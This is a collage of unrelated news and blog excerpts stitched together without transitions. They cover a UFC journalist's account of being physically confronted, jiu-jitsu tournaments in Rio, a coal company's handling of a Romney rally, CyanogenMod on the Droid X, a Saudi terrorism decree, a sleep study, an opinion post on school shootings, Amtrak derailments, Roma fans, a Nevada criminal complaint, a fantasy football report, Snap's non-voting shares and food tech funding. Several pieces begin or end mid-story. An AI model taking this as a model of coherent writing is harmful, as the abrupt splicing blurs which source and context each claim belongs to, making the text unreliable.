Helwani also mentioned on the show that things had gotten “physical” with the UFC while trying to do his job as a journalist.
“In the words of my man CM Punk, this is a pipebomb,” Helwani said of his incident “Around that timeframe something else happened. That’s the one thing I’m going to skip over, for now. That’s the one thing I don’t want to get into. I don’t feel comfortable. I will say this, though. It got physical and I’ll move along. And that was hard. But, I kept doing my job and I’m proud of my job and once again I was left on the island and I hoped that better days were ahead.
“And you can believe I’ve asked myself multiple times like, ‘why am I doing this? What’s the point? Why am I doing this to myself?’
“I see these other people covering the NBA and yeah those interviews are boring and those stories are boring, but they don’t have to go through this. This is not worth it. This is not why I signed up for journalism school. They never told me about this.”
Helwani did not give details of the physical incident. However, fellow journalists and MMA insiders have opened up on the matter.
FloSports Jeremy Botter tweeted, “Ariel came closer to addressing the physical confrontation he had with a UFC person back at UFC 172 than I ever thought he would.”
Ariel came closer to addressing the physical confrontation he had with a UFC person back at UFC 172 than I ever thought he would. — Jeremy Botter (@jeremybotter) June 6, 2016
Botter also retweeted MMA Insider @FrontRowBrian’s alleged details of the incident saying, “Ariel asked Chuck Liddell if he would fight Jon Jones. UFC security pushed him against a wall and choked him. UFC 172 weekend. Jones Glover.” A following tweet said, “The person that roughed up Ariel is allegedly one of the bodyguards for Dana. Thrown against a wall and choked.”
Ariel asked Chuck Liddell if he would fight Jon Jones. UFC security pushed him against a wall and choked him. UFC 172 weekend. Jones Glover — FrontRowBrian (@FrontRowBrian) June 6, 2016
The person that roughed up Ariel is allegedly one of the bodyguards for Dana. Thrown against a wall and choked. — FrontRowBrian (@FrontRowBrian) June 6, 2016
Looking through my notes the other day, I worked out that I’d competed ninteen times during the calendar year I spent in Rio; only three of these occasions were outside of the city.
Rio is home to a plethora of federations and organisations that hold competitions. This is by no means an exhaustive list but, there is jiu-jitsu’s official body the CBJJ, then there’s, FJJ Rio, FJJD Rio, SJJSAF, SJJIF, and the CBJJO.
You are literally spoilt for choice and could compete every weekend if you are willing to travel, placing your life in the hands of the city’s homicidal bus drivers.
The difficult part is actually signing up. I am assuming like myself, you are used to entering tournaments via the organiser’s website, fill out a form, use a credit card and booya you’re good to go. However, in Brazil with the exception of the CBJJ’s events the process of actually securing your spot on the bracket is not nearly as straightforward. Each individual federation requires you to become a member.
The best possible scenario is, you have an academy as your permanent base and the professor is willing to help you sign up. In which case, all you have to do is find a photography shop (I have never seen a single passport photo booth) and get some pictures taken, hand them over with the money for your membership and entry and the rest will be done for you.
Both memberships and entry fees for regional competitions typically cost between 60-80 reals (£15-20).
Bearing in mind the example above is a best case scenario, if you’re dotting around academy to academy you will have to do it yourself. This means heading over to the federation’s offices to collect your card. An understanding of Portuguese is extremely beneficial, the process will already take longer than you would have ever deemed imaginable and despite the advertised hours the office might not actually be open when you get there.
If you already have your membership and just want to sign up – then you have to physically put your entry fee into the account of the organizer, which means going to the bank with their details to deposit the money. This is more arduous than it sounds, banks in Rio tend to have queues that tax years from one’s lifespan.
This should come as no surprise to anyone that has ever visited Brazil, where even the most basic of tasks seem to have multiple layers and inexplicable intricacies which makes just about everything complicated and time-consuming.
Whilst this may appear to be a needlessly long-winded and frustrating process (it is!), but its culmination leads to some of the most gratifying, fun, challenging and self-defining moments that you are likely to have on the mats.
In phone calls and emails to WWVA radio host David Blomquist, employees at the Century Mine in Ohio said they feared retaliation if they did not attend the Romney event.
“Yes, we were in fact told that the Romney event was mandatory and would be without pay, that the hours spent there would need to be made up my non-salaried employees outside of regular working hours, with the only other option being to take a pay cut for the equivalent time,” the employees told Blomquist. “Yes, letters have gone around with lists of names of employees who have not attended or donated to political events.”
“I realize that many people in this area and elsewhere would love to have my job or my benefits,” one worker explained. “And our bosses do not hesitate in reminding us of this. However, I can not agree with these callers and my supervisors, who are saying that just because you have a good job, that you should have to work any day for free on almost no notice without your consent.”
“We do not appreciate being intimidated into exchanging our time for nothing. I heard one of your callers saying that Murray employees are well aware of what they are getting into upon hire, or that they are informed that a percentage of their income will go to political donations. I can not speak for that caller, but this is news for me. We merely find out how things work by experience.”
Murray Energy Chief Financial Officer Rob Moore told Blomquist that the charges were untrue.
“There were no workers that were forced to attend the event,” Moore said. “We had managers that communicated to our work force that the attendance at the Romney event was mandatory, but no one was forced to attend the event. We had a pre-registration list. And employees were asked to put their names on a pre-registration list because they could not get into the event unless they were pre-registered and had a name tag to enter the premises.”
“What about not getting paid for an eight-hour day?” Blomquist wondered. “If the mine was shut down for the visit, I understand, but wouldn’t it be fair — let’s use the word ‘fair’ — to still pay these individuals for that day? I mean, it wasn’t their fault they weren’t working.”
“Our management people wanted to attend the event and we could not have people underground during Romney’s visit,” Moore insisted.
“But why not still pay then their wage for that day?” Blomquist pressed.
“By federal election law, we could not pay people to attend the event,” Moore replied. “And we did not want anyone to come back and see where anyone had been paid for that day.”
“I’m not saying pay then to attend the event, I’m saying, ‘Hey look, we have to close down the mine, if you want to attend this event, that’s fine, but you’re still going to get a day’s pay for the work that you would have done,'” Blomquist pointed out. “Why not do that?”
“As a private employer, it was our decision and we made the decision not to pay the people,” the Murray chief financial officer said.
“We’re talking about an event that was in the best interest of anyone that’s related to the coal industry,” Moore added. “I do not believe that missing an eight-hour day, when you put it into perspective, when you think about how critical — critical this next election is, and how critical it is that we get someone in this office that supports coal — to give up eight hours for a career, I just don’t believe that there is anything negative about that.”
At the time, conservative blogs and websites like The Daily Caller, The Gateway Pundit and Townhall trumpeted the fact that “hundreds of Ohio coal miners attended” the event. Even though the mine was closed on Aug. 14, soot-covered miners were staged behind the GOP hopeful as he spoke.
Earlier that month, Murray Energy Corporation and its founder, Robert Murray, had blamed President Barack Obama after they fired hundreds of workers and closed an operation near Brilliant, Ohio five years early.
Company leaders said that “regulatory actions by President Barack Obama and his appointees and followers [are] the entire reason” that operations were shutdown.
Robert Murray received national attention in 2009 after his Crandall Canyon Mine in Utah collapsed, leaving six miners trapped inside. Between 2005 and 2009, the Murray Energy Corp. Political Action Committee had given more than $150,000 to Republican candidates. Murray personally gave $15,000 to the National Republican Senatorial Committee in 2004 and $10,000 in 2006. The Ohio Valley Coal PAC, a group affiliated with Murray Energy, gave $10,000 to George W. Bush’s presidential campaign in 2000.
Listen to this audio from WWVA, broadcast Aug. 27, 2012.
Back in January when he announced through Droid Life that he would be joining the CyanogenMod team, one of his goals was to get the DX into the CM family; it appears now as if we are closer than ever. So how did he do it? I’ll one quote from his post on the matter:
…this was done using my recently new-found-knowledge of 2nd-init, which I will describe later in a blog post (don’t want to get into it here). This still runs on top of the original motorola kernel though. I repeat, the bootloader is still locked, and you are still forced into using moto’s kernels, but that doesn’t really prevent us from doing all that much. 😀
While “2nd-init” means nothing to me, it sure sounds like the breakthrough that we’ve all needed in order to take DX development to the next level. We’ll be eagerly awaiting his explanation.
…no, this means we are able to restart init and run a clean system using the currently existing kernel
Oh, he also plans to open up a testing period in the very near future, so stay close as we’ll definitely have more on that. For now though, please let your feelings be known to the world – how does CM7 on the DX sound?
Update: CVPCS offered some additional details in the comments to help clear up any confusion on the white M logo and whether or not this is Gingerbread:
Ok there seems to be some confusion. CM7 is gingerbread. it always has been gingerbread. it always WILL be gingerbread. The reason there’s a white moto logo is because it has to boot off of the 2.6.32 kernel which shipped with froyo. That does NOT mean that it IS froyo. That just means that it’s the 2.6.32 kernel instead of the 2.6.35 kernel that shipped with gingerbread. This is NO way affects gingerbread, as the D1 is currently running gingerbread off of a .32 kernel as well. Hopefully that will clear up some confusion.
Via: RootzWiki
"Taking part in combat outside the kingdom, in any form" will be punished by jail terms of between three and 20 years, said the decree published by state news agency SPA.
Similar sentences will be passed on those belonging to "extremist religious and ideological groups, or those classified as terrorist organizations, domestically, regionally and internationally," it said.
Supporting such groups, adopting their ideology or promoting them "through speech or writing" would also incur prison terms, the decree added.
Saudi Arabia set up specialized terrorism courts in 2011 to try dozens of nationals and foreigners accused of belonging to Al-Qaeda or being involved in a wave of bloody attacks that swept the country from 2003.
Although it is well known that sleep plays an important role in memory, what actually happens inside the brain was unknown.
Professor Wen-Biao Gan of New York University, told the BBC: "Finding out sleep promotes new connections between neurons is new; nobody knew this before.
"We thought sleep helped, but it could have been other causes, and we show it really helps to make connections and that in sleep the brain is not quiet, it is replaying what happened during the day and it seems quite important for making the connections."
The researchers trained mice to walk on top of a rotating rod – a previously unknown skill. They then looked inside their living brains to see what happened during sleep or sleep deprivation.
Their findings, published in the journal Science, showed that sleeping mice formed significantly more new connections between neurons, proving that they were learning more. Deep sleep, which is when the brain replays the day's activity, was shown to be necessary for memory formation.
With sleep being proven again and again to be vital to our psychological and physical health, are you worried you're not getting enough?
In 2002 American researchers analysed data from more than one million people, and found that getting less than six hours' sleep a night was associated with an early demise – as was getting over eight hours.
High blood pressure is more than three times greater among those who sleep for less than six hours a night, and women who have less than four hours of sleep are twice as likely to die from heart disease. Other work suggests that a lack of sleep is also related to the onset of diabetes, obesity, and cancer.
Light towards the blue end of the spectrum – used in computer screens, smartphones, flat-screen televisions, and LED lighting – suppresses the production of the sleep-inducing hormone melatonin. Using these before bed, which an increasing number of people do, may stop us from dozing off to sleep.
How many more mass shootings do we need to have before we actually confront the real and hard to swallow problem? For 30 years it’s been about the “guns”. Because, guns drove them all to it. They walked right into the hands of these people and said “Fire”. Let’s be clear at this moment in time I am not a gun owner. Not that I don’t want to own one, I simply have to prioritize bills and food before I think about firearms.
I will not debate what the purpose of a gun is. It’s to put holes in things. So after Florida, the debate is starting to shift as nobody seems to agree as to the root cause. (I have a theory on this and I’ll get back to you on that in a little bit) Now it’s about keeping the schools safe because gun free zones don’t seem to be working.
So now the talk is about arming teachers and staff. They have not signed up for this. That is not what they wanted to do when they set out to become instructors. If they choose to be armed so be it, but it takes a certain type of person to be able to point a firearm at a living person and squeeze the trigger. They aren’t going to be mentally prepared for that.
So then, do we put armed Veterans or retired police officers in schools? That would solve the issue of mental preparedness. However there would have to be an extensive background and psych-eval to make sure PTSD doesn’t rear it’s ugly head. The last thing we need is some punk kid pushing the wrong buttons and all of a sudden the person charged with keeping the school safe goes on his own spree.
Honestly, I don’t think there are any great solutions. I’m not going to say yay or nay either way. It’s not my place or position in life to really figure it out. There is one thing that has been gnawing at me in the back of my head. That seems to really correlate to this issue. Every one of these shootings is almost always related to some kind of vendetta. We could say that there were some bullies that pushed them, or life got too much for them. I think we can go farther back for this.
So what is it I’m trying to get to? We did this. Society as a whole. Not with TV or Video games. Hell, I was raised on those things and I was bullied. No, I knew how to lose and move on. I took rejection, harshly, but I took it. I also had good friends to get through it with. If there was one kid that I could point to that could have possibly gone on a shooting spree way back in ’95-’96 time frame, it’s that one kid who got it way worse than I did. I’m not going to name his name but I promise I’ll never forget it, because I stood up for him.
This kid was the classic “nerd” glasses, skinny, and a little uncoordinated. One day a heavy snow storm hit and knocked out the power to the school. We were all in the choir room where there are no windows so it went pitch dark. Immediately this kid, we’ll call him George for the purposes of the story, bolted to the door like he knew what was about to happen. I was unaware. Somewhere in the dark I get punched in the chest. Didn’t bother me one bit it wasn’t strong enough to actually hurt. It was decided that we should wait in the hallway where it’s well lit by the windows while the school decides if it’s going to close or if they can get the power back on. The choir teacher went somewhere, I honestly can’t remember where, and I saw this group of known thuggish types surrounding George. One of them was picking on him mercilessly, so I stepped in and told him to back off. He got in my face and asked “Do you think you can take me?” My reply “I don’t care.” He backed off and took his crew with him.
Several years later I saw George, he had gained some muscle and seemed to get along with his co-workers just fine. I did find out later that he’s now Goergette but that’s another thing all together.
Today’s kids, I’m talking early childhood now, aren’t being taught how to lose or how to win. We have coddled them to the point that when life hits them in the face at a later age they don’t know how to react! We tell them that they are all winners and you get awarded just for being there! In the littlest leagues they don’t keep score, so nobody knows what it feels like to lose gets their feelings hurt.
We aren’t teaching them that in life there are winners and losers and those losers need to know how to pick themselves up and move on or try again. Yes, as a parent it sucks when your kid is upset but it’s better they deal with those emotions early on rather than when they can lash out harder and stronger. They need to know that it’s okay to lose, that there is a balance in life and there has to be winners and losers. This doesn’t just apply to the mass shootings. Remember college campuses after the election. The term snowflake was coined because they didn’t know how to lose without falling apart and needed safe spaces. How about all those riots?
Because they needed the safe spaces means that they also don’t know how to win. “But, Ken, competition breeds anger.” Maybe, but it also sets a stage where they can do their best and still lose, but then they will work that much harder for next time. I’m reminded of two great quotes, Granted they are from fictional characters but they are 100% dead-on.
I don’t know how to solve the world’s problems. I’m not even going to pretend that I can. Truth is, I cannot change anything here. Sure, security might be upgraded, who knows? Maybe schools will have metal detectors and TSA agents. All I know is that emotions are running awefully higher than they had in the past and increased even more with social media.
On another note, this will be my final post with WordPress. When I first started out, they were great, I had a lot of really good options. When I came back to post this, my options dwindled dramatically unless I upgrade to a business plan. It’s okay, I get it, like most businesses they need to make money. Personally I’d rather be out living life than trying to think of my next post. Also seeing as how much I post that would be extremely cost inefficient. I thank you all for the time to read every post. Especially the posts written by the very talented Char. I’ll leave the site up, some things have deteriorated but the text is still there. Again, thank you for allowing us inside your heads and hearts and I hope to see you around the cyberverse.
Peace OUT!
Officials have not yet determined the cause of last night’s Amtrak crash, but historically, broken rails and welds are the most common cause of train derailments. They account for more than 15 percent of derailments, according to data from the Federal Railroad Administration.
Broken rails and welds were more than twice as likely to have been the cause of train derailments than the second and third leading causes—track geometry and bearing failure. Track geometry, which includes such things as train alignment, gauge and elevation, was responsible for 7.3 percent of derailments and bearing failure was responsible for 5.9 percent.
Carrying 238 passengers and five crew members, the Northeast Regional Train 188 was bound for New York City when it crashed at 9:30pm in the Port Richmond region of the Pennsylvania city. Six of the train’s seven cars overturned in the accident, and while the majority of passengers were able to walk away from the accident, 65 people were taken to nearby hospitals.
Between 2005 and 2014, Amtrak had the second highest number of reported accidents and incidents, outstripped only by the Union Pacific Railroad company. Over the period, 20,703 accidents involved Union Pacific trains compared to the 18,460 that involved Amtrak trains. The two railroads accounted for 16.3 percent and 14.6 percent of all train accidents between 2005 and 2014.
It is important to note, however, that both of these railroads run trains much more frequently, so while the number of accidents is higher than others, that is not necessarily reflective of the general safety of the railroads.
By Football Italia staff
Daniele De Rossi urges Roma fans to return to Stadio Olimpico - "the beating heart is missing from this team".
The Ultras continue to boycott the Curva Sud in protest over segregation, and the 33-year-old has urged the Giallorossi to find a solution.
"The atmosphere around Roma is overestimated," De Rossi told Mediaset.
"Until a few years ago I was listening to the radio and reading newspapers. Not now, all we have to detach from this. In Rome, life is good, it's sunny, we are appreciated."
"The beating heart is missing from this team: we must do more for the fans, they must return to the stadium. They are right, something must be done because they need to come back, or as [CEO Mauro] Baldissoni said, we have to go and play somewhere else.
"I look back with nostalgia on when there were 60,000 at the stadium, we need them. It's not the same without the Curva Sud, but that shouldn't be an excuse.
A complaint filed Monday in U.S. District Court in Nevada charges Michael Steven Sandford with an act of violence on restricted grounds.
It cites a report by Special Agent Swierkowski, whose first name was not included, saying Sandford told officers he drove from California to kill Trump and went to a Las Vegas gun range the day before to learn to shoot.
We chatted with the general theme of preparation – from off season conditioning to pre-game rituals we covered a lot of territory. Thanks again to Mike, with only a few weeks till he heads to the Devil’s camp it was very generous of him to share his experience with inGoal readers.
(RSS Readers click through for video)
With Week 11 nearly in the books, it's time to dive into some backfield breakdowns. We saw some familiar names among the top running back performers including David Johnson and Le'Veon Bell while guys like Rashad Jennings and C.J. Prosise surprisingly made their way into the top 10 for the week. Some of the bigger disappointments of the week include Isaiah Crowell and Jeremy Hill, and below we'll try to figure out how to value these running backs going forward. That's enough small talk for now ... more on those backs and every other team's backfield below.
Note: The Opportunity Report is a living document and will be updated with the results of every game until after the Monday night game concludes. If you're looking for backfield touches data on a team and they aren't here yet, check back later.
Arizona Cardinals
ARI RBs Week 11 (NFL.com)
In the wise words of Marcas Grant: David Johnson, no matter what. Against the Vikings on Sunday he scored twice and gained 160 total yards which was good enough to rank him as the RB1 for Week 11 (28 fantasy points) heading into the Sunday night game. He led Arizona with 11 targets and had six plays that went for double-digit yards. Johnson has a cake matchup against the Falcons next week, but you don't need me to tell you to simply leave him in your starting lineup and forget about it.
Baltimore Ravens
BAL RBs Week 11 (NFL.com)
The Ravens running backs both started hot out of the gate. Two of Terrance West's first three carries went for 16 and 18 yards and included a touchdown. Kenneth Dixon ripped off a 20-yard scamper too. But after that, it was basically crickets. In an odd development, West and Dixon combined for just two total touches in the second half against Dallas. So much for the Sunday morning report that Dixon would be more involved. At least West got the touchdown, but the lack of volume is nothing but frustrating for fantasy owners who were seeking more from this backfield. Hopefully, they can get back on track with a home matchup against the Bengals next week.
Buffalo Bills
BUF RBs Week 11 (NFL.com)
If you started LeSean McCoy on Sunday, at least he scored on one of his seven touches before he left the game with a thumb injury. McCoy was poised to have a big day against a soft Bengals defense but he went out in the second quarter and never returned. The early word is that he should be just fine for next week's game against the Jaguars. But McCoy's absence opened the door for Mike Gillislee to rack up some carries, 14 to be exact, which he converted into 72 yards. At this point in the fantasy season, it's a reminder just how important it is to handcuff your studs. If you own McCoy and Gillislee is available, he's a must-add.
Carolina Panthers
CAR RBs Week 11 (NFL.com)
Fortunately, Jonathan Stewart managed to find the end zone on Thursday night saving face for his fantasy owners who started him in what was a favorable on-paper matchup. The yardage wasn't there and it really hasn't been over the last three games for Stewart. He's still the clear feature back and will remain a low-end RB2 next week when the Panthers head to Oakland.
Chicago Bears
CHI RBs Week 11 (NFL.com)
Following some drama earlier this week surrounding Jordan Howard's health, he looked just fine running the ball against the Giants on Sunday. Howard had some big plays including a 27-yard rush and a 22-yard reception which helped boost his yardage totals for the day. Good thing too, since Jeremy Langford came in to vulture a goal-line touchdown after Howard got the Bears in scoring position with one of those long plays. Thanks, John Fox. Still, it's encouraging that Howard played on 71 percent of the snaps compared to Langford's 29 percent, proving that Howard has retained his role as the primary back. He'll be an RB2 next week against the Titans in Chicago, where the Bears play much better than they do on the road.
Cincinnati Bengals
CIN RBs Week 11 (NFL.com)
Andy Dalton scored a rushing touchdown on Sunday, leaving Jeremy Hill owners frustrated. Hill did Hill things, with just 3.9 yards per carry on his 16 attempts. Giovani Bernard wasn't much better with just 21 yards on his seven attempts, but as a PPR back he added five catches for 40 yards, which is decent as a flex play. Bernard out-snapped Hill too, by a count of 38-29, but suffered a torn ACL and is done for the season. The Bengals offense, which has been struggling this year, lost A.J. Green with a hamstring injury which will likely affect the team's overall production going forward and does not bode well for the outlook of either running back. Even with increased volume with Bernard out, Hill will be tough to trust against the Ravens next week.
Cleveland Browns
CLE RBs Week 11 (NFL.com)
If you had any stock in the Browns backfield, well, shame on you. Even with Steelers defensive end Cameron Heyward out, Cleveland couldn't get anything going on the ground. Isaiah Crowell continues to be neglected, while Duke Johnson posted his typical line with just a handful of touches. Neither will be ideal plays next week when the Browns play the Giants.
Dallas Cowboys
DAL RBs Week 11 (NFL.com)
Heading into this game, Ezekiel Elliott faced an uphill climb against the league's top run defense in the Ravens who were allowing fewer than 65 rushing yards to running backs per game, and just three rushing touchdowns to the position. Zeke didn't score, but he did enough for fantasy owners to not be upset about his performance. The fact that he gained 127 total yards against Baltimore's defense is a testament to his extreme talent as a pro running back and solidifies his status as an elite fantasy option. He'll look to keep rolling on Thanksgiving when Dallas welcomes the Redskins to town.
Detroit Lions
DET RBs Week 11 (NFL.com)
As a team, the Lions totaled 14 yards rushing in this game. Oof. But if you started Theo Riddick, he did some damage as a pass-catcher. He led the Lions with eight receptions and his 70 yards through the air tied him with Eric Ebron for the team-high. Riddick fell inches short of the goal line late in the game too, but it was Ebron who ended up scoring a rushing touchdown on the next play from one yard out. Cool, thanks Lions! Anyway, Riddick's floor remains safe on a weekly basis thanks to his pass-catching ability, but he continues to disappoint as a runner. He'll still be a solid flex play on Thanksgiving against a Vikings defense that has been struggling lately.
Green Bay Packers
GB RBs Week 11 (NFL.com)
James Starks didn't see a ton of volume on Sunday night but he made the most of his chances and found the end zone for the second-straight game with a receiving touchdown. He looked like he had his legs back a bit compared to Week 10, which is a positive sign going forward. He's probably not going to have week-winning outings with the Packers struggling through the season, but he'll be a viable weekly flex play at worst, and his pass-catching ability will help keep him on the field on throwing downs, boosting his floor a bit.
Indianapolis Colts
IND RBs Week 11 (NFL.com)
Another 22 touches for Frank Gore, and another top-10 fantasy performance. He didn't score a touchdown but his 121 yards were just fine for any fantasy owner who started him. For some reason, the Colts took Gore off the field early in the game in a goal-line situation and Robert Turbin vultured a touchdown on one of his two carries. Still, Gore played 74 percent of the Colts' offensive snaps and has been and will continue to be a solid upside flex play as long as he can stay on the field.
Jacksonville Jaguars
JAX RBs Week 11 (NFL.com)
Chris Ivory finished Sunday as the Jaguars' leading receiver with his six receptions for 75 yards. He got more work than we're used to seeing from him because T.J. Yeldon left with an ankle injury. If Yeldon has to miss any time going forward, Ivory could be a volume upside flex play down the stretch for fantasy teams in need of an extra running back. Denard Robinson saw a few snaps too, and can be considered a handcuff to Ivory if Yeldon is indeed out for any extended period. Ivory was not very effective as a runner with just 39 yards on 17 attempts, and keep in mind that he has yet to put up a double-digit fantasy outing in standard scoring all season.
Kansas City Chiefs
KC RBs Week 11 (NFL.com)
Spencer Ware's Week 11 line wasn't anything to write home about, but the dude was trucking defenders and running hard all game. He's the unquestioned feature back now that he's healthy again and played 79 percent of the team's offensive snaps. Ware, who can be a threat as a pass-catcher too, only had two receptions for 16 yards on Sunday. Charcandrick West hauled in all three of his targets for 42 yards but isn't a legitimate threat to Ware's workload. Ware will have sneaky upside next week when the Chiefs face a Denver defense that has struggled to stop the run this season.
Los Angeles Rams
LA RBs Week 11 (NFL.com)
Todd Gurley reached the end zone on Sunday for the first time since Week 5. Not surprisingly though, he was inefficient as a runner averaging just 3.8 yards per carry, a line that was boosted by a 24-yard run in the first quarter. He didn't have a single catch on the day in Jared Goff's first start. The volume has returned at least, as Gurley has logged 22 and 20 total touches in each of his last two outings. The Rams head to New Orleans next week, which is a good matchup on paper for the second-year back. He'll be an upside flex play in that game.
Miami Dolphins
MIA RBs Week 11 (NFL.com)
Jay Ajayi is a good running back. The Miami offense is not a good offense. And that's why he has struggled to produce in recent weeks, despite a win over the Rams. Sunday was his second-straight game without a trip to the end zone and fewer than 100 total yards. He had just 12 total yards in the second half, nine of which were receiving yards. He's still the clear-cut leader of the Dolphins' backfield though, and next week he has a dream matchup against the 49ers where he could bounce back. After Week 12, he faces an uphill battle in terms of matchups through the fantasy playoffs, so if you can, think about trading him away before it's too late.
Minnesota Vikings
MIN RBs Week 11 (NFL.com)
The Vikings backfield was as uninspiring as it has been all season. Of course Matt Asiata scored on one of his five touches. Of course, because that's what he does. Jerick McKinnon was the volume play with his 16 carries but averaged just 2.8 yards per carry against a tough Arizona front. The Vikings have a short week as they face the Lions on Thanksgiving. McKinnon will again be the upside play given his volume, but Asiata will be the goal-line vulture. Flip a coin, say a prayer, and enjoy your turkey.
New England Patriots
NE RBs Week 11 (NFL.com)
The Patriots running backs gained 236 total yards on Sunday against the 49ers, shocking absolutely no one. LeGarrette Blount led the way as he has all season with 124 yards on the ground and averaged 6.5 yards per carry. Dion Lewis finally returned after two knee surgeries in the last year and posted respectable numbers for his first game back, but if you started him as a fantasy back you probably came away disappointed, especially since James White, who's role was supposed to diminish, scored and totaled 63 yards. With one game under his belt, Lewis could be a bigger factor as a pass-catcher in Week 12 against a Jets defense that has done well to stop the run this year.
New Orleans Saints
NO RBs Week 11 (NFL.com)
Heading into this week, the Saints running backs were not ideal plays against a stout Carolina run defense. But Tim Hightower ended up having a big game yardage-wise, thanks in part to Mark Ingram leaving the game with a head injury. Hightower should continue to be valuable down the stretch as an RB2 while Ingram's value from game-to-game remains questionable. The Saints are at home against the Rams in Week 12.
New York Giants
NYG RBs Week 11 (NFL.com)
Rashad Jennings posted a season-high 21 carries on Sunday against the Bears. His volume has been increasing over the last five weeks, as it seems the Giants are done with the Paul Perkins as a feature back experiment. Jennings' 129 total yards and a touchdown provided fantasy owners with 18.9 standard fantasy points and ranked him as fantasy's RB3 late on Sunday afternoon. It looks like the Giants are committed to Jennings as their feature back and if that's the case, he should have no issues putting up another big game next week in Cleveland.
Philadelphia Eagles
PHI RBs Week 11 (NFL.com)
This week was not kind to running backs in terms of injuries. The Eagles lost both Ryan Mathews (knee) and Darren Sproles (ribs) early in this game, both in the second quarter. Mathews' injury was reported as an MCL sprain which will likely sideline him for a few weeks, pending an MRI. With their top two runners out, the Eagles leaned on rookie Wendell Smallwood to carry the load. He'll likely be the top waiver-wire add of the week. He's played well on limited work as a rookie, and has a good matchup against the Packers at home in Week 12 where he'll bring high-end RB2 value to fantasy squads.
Pittsburgh Steelers
PIT RBs Week 11 (NFL.com)
Le'Veon Bell simply dominated the Browns defense in this game, which came as no surprise. He also scored for the second straight game, which only padded his ridiculous yardage total. As the engine that makes the Steelers offense move, Bell will be an elite RB1 down the stretch for his fantasy owners. He gets yet another favorable matchup against the Colts on Thanksgiving.
San Francisco 49ers
SF RBs Week 11 (NFL.com)
Carlos Hyde seems fully back following two missed games and a lackluster return last week as he fought through a shoulder injury. His 110 total yards was his highest mark since Week 5. But despite Hyde's 22 total touches, it was Shaun Draughn who scored a receiving touchdown on one of just three touches in the game. If that's not an unfortunate case of a touchdown being vultured, I don't know what is. At least Hyde looks like he's back to playing at full health. The 49ers face the Dolphins in Week 12 where Hyde will be a volume-based RB2.
Seattle Seahawks
SEA RBs Week 11 (NFL.com)
As predicted, C.J. Prosise started on Sunday for the Seahawks, and promptly ripped off an impressive 72-yard touchdown run on his third touch of the game. It was shaping up to be a huge fantasy day for the rookie, until he left in the second quarter with a serious shoulder injury that could cost him up to eight weeks according to initial reports. It's a huge blow for the Seattle backfield and for Prosise's fantasy owners who thought they had a league-winner on their hands. Prosise's early exit cleared a path for Thomas Rawls, who played in his first game since Week 2, to rack up 17 touches. He ran hard and violently; the same style we grew used to from Rawls last season. With Christine Michael gone and Prosise out, Rawls looks like he'll be the feature back for Seattle from here on out. He'll face the Buccaneers in Week 12 and will have RB1 upside.
Tampa Bay Buccaneers
TB RBs Week 11 (NFL.com)
Doug Martin was loaded up with a high-volume workload on Sunday but only managed 63 rushing yards on 24 carries. He made up for his lack of efficiency on the ground with 42 receiving yards boosting his fantasy totals into the double-digit range. We might have to think about downgrading Martin to a low-end flex play for Week 12 against Seattle, with eyes on two upcoming matchups against the Saints through Week 16. He's impossible to sit given his volume upside both on the ground and through the air, which is what fantasy owners must hang their hats on. And oh yeah ... fullback Alan Cross scored a touchdown so that's a thing that happened.
Tennessee Titans
TEN RBs Week 11 (NFL.com)
Even in a game where it seemed like DeMarco Murray was struggling, which he was in the first half, he ended up posting RB1 numbers by the time the curtain fell in Indianapolis. He scored a receiving touchdown on his final touch of the first half and finished the day with 13.9 standard fantasy points, racking up another 24 total touches. Murray was on the field for a ridiculous 99 percent of the Titans' offensive snaps in the game. Poor Derrick Henry didn't see a single rush attempt. Murray will be an RB1 again next week when the Titans head into Chicago.
Washington Redskins
WAS RBs Week 11 (NFL.com)
From the moment Rob Kelley introduced himself on Sunday Night Football as "Fat Rob" you knew he was going to have a big evening. He was set up nicely for a big game as a high-volume back with goal-line looks going up against a Packers defense that had been struggling to stop the run in recent weeks. Well, after a bit of a slow start Kelley absolutely dominated from late in the second quarter through the final whistle. His 66-yard run in the fourth quarter put a nail in the Packers' coffin, and Kelley followed it up with his third score of the game from four yards out. He's a must-start on Thanksgiving against the Cowboys.
You can rely on NFL.com's Touches and Targets column for great fantasy advice. Just like you can rely on FedEx Ground for fast and affordable shipping.
A young girl pushes her scooter past the front of the New York Stock Exchange (NYSE) with a Snap Inc. logo hung on the front of it shortly before the company's IPO in New York, U.S., March 2, 2017. REUTERS/Lucas Jackson
“Unequal voting rights present complex and new issues that need to be understood and addressed,” Commissioner Kara Stein, a Democrat, said at a meeting of the SEC’s Investor Advisory Committee in Washington. “We also must be mindful of the precedent being created.”
In a unique move last week, the parent of social media app Snapchat sold $3.4 billion of shares to outside investors with no voting rights, prompting concerns that those stockholders would not get enough transparency or influence on matters like executive pay or strategy.
Snap’s structure has reignited a debate about how much leverage investors should have, at a time when money has flooded into passive index funds that cannot sell stock. Snap has said its voting structure is good for investors as a way to preserve founder control.
Although Snap was the first to offer outside investors no voting rights at all, other big technology companies have offered shares with limited voting rights to outsiders in recent years, despite calls from large institutional investors for increased rights to promote better corporate governance.
The topic of unequal voting rights comes at a time of uncertainty for the SEC. Three of its five commission seats are currently empty and the sole member other than Stein, Republican Michael Piwowar, is its acting chairman.
President Donald Trump has nominated Wall Street attorney Jay Clayton, also a Republican, as the top U.S. securities regulator’s permanent head. His confirmation would put Stein in the minority and possibly limit her influence.
During Thursday’s meeting Piwowar revealed little about his own thinking on voting rights.
Stein said companies offering IPOs without voting rights should be studied, since the expectation is that shareholders could act to check management.
“In the long run we need to critically assess our regime for initial public offerings. The current structure is premised on taking investors’ capital while giving the investor rights to hold that company’s management accountable of that capital,” she said.
A voice on behalf of tech companies at Thursday’s hearing was David Berger, a partner at the Wilson Sonsini law firm who advises Silicon Valley companies on corporate governance. Berger said many tech companies such as Google parent Alphabet Inc (GOOGL.O), which he has represented, have adopted new share structures as a response to the short-term pressures of Wall Street.
While technology companies must focus on long-term goals, they often have large cash balances or high spending on research and development, areas often targeted by shareholder activists, Berger said.
Berger said that “a governance system that focuses entirely on stockholders ... ignores the broader interests of the corporation.”
Big institutional investors have already begun talks with stock index providers over whether Snap and companies like it should be included despite their lack of voting rights.
Ken Bertsch, executive director of the Council of Institutional Investors, which represents large pension funds and other asset managers, said share structures like Snap’s pose risks such as leaving founders in control decades after their prime.
The SEC should conduct further reviews, he said, including with stock exchanges that list companies with unequal voting rights.
Unequal voting structures also could complicate the strategies of index funds, he said, by introducing securities that resemble preferred shares or partnership structures. Most index fund providers prefer shares to have equal voting rights.
However, despite the launch of 1894, there has been a shift this year. CB Insights forecasts that 2016 may see less than half as many food tech deals as last year, and that startups in the space may see less than $2.5 billion in funding.
